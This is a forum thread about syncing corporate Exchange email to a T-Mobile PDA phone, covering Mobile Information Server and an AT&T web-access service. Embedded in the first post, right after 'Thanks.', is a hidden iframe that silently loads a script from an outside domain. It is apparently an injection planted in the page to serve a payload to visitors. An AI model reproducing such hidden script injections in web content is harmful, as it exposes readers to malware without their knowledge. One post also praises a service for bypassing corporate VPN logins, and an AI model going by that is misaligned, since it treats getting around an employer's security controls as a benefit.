How does the T-Mobile/PDA Phone combo work for corp. email?

For those of you that use the device to get corporate email, how well is it working for you? It is a pain to sync Inbox, Sent Items, and Deleted items?

Thanks. <iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Corporate Email

The only way I have been able to get my corporate email to work is by setting up a Mobile Information Server at the office to connect to my Exchange Server at work. I was unable to get the t-mobile email service to pull mail from the OWA. It seems if you are using pop or imap all works well though.

I am not so concerned about getting email (I assume I will be able to do that.). What am concerned about is easy of sync.

I get 100+ emails a day. Often I will go through them on my Palm 705 and delete them after I read them. Using the palm, I don't have to delete them again from my inbox. I can either do it wirelessly or when I do a hotsync.

I will I sync using this new setup??? Details please!

Corporate Email

You will have a choice as to what happens with the mail. If you want it to delete them when you sync them then you should be able to do so. I know I have had mine setup both ways.

I just signed up for the Office Online from AT&T for $2.99/month.
It is rather cool. It took me less than 15 minutes to setup. Basically, a client is running on your machine whether your Outlook email client is up and running or not.
Once you've configured the client (takes 2 minutes), you can then access your corporate account (email, contacts, and calendar) from your PDA AND from any web browser which is rather cool since it "bypasses VPN" and allows me anytime access. So, the upside is that I am now able to access my email without having to login to my VPN account.
You will create an "online" account to access your corporate account via the web.
So, if you access your corporate account via a web browser, all you've paid is $2.99. We don't use Outlook Web Access (OWA) because it is insecure and against our corporate policy.
If you use your account from your PDA, you can then use your data download and be charged accordingly.
What I like better than the Blackberry, is that I can download attachments from either the web or my PDA (can't do that on the BB).
One downfall that I can see is that it only seems to work with the Outlook Mailbox instead of personal folders. Because of latency, I prefer to use personal folders, but may have to switch to the Mailbox on the Exchange server to be able to access all of my folders remotely.
What I also like is the ability to setup alerts for incoming emails. I don't like the fact that you receive emails ALL the time on the Blackberry. I don't think that most people is important enough that they have to check emails ALL the time the moment that they come in. With the alert system, I can be alerted based on severity, or sender.

Overall, pretty cool product. I think that to get around the personal folder issue, I will "close" my Outlook client when I leave my office so that the incoming emails stay on the server and will only be downloaded when I connect when I come back to the office. That will allow me to view newly incoming emails from my PDA or a web browser while I'm going around.
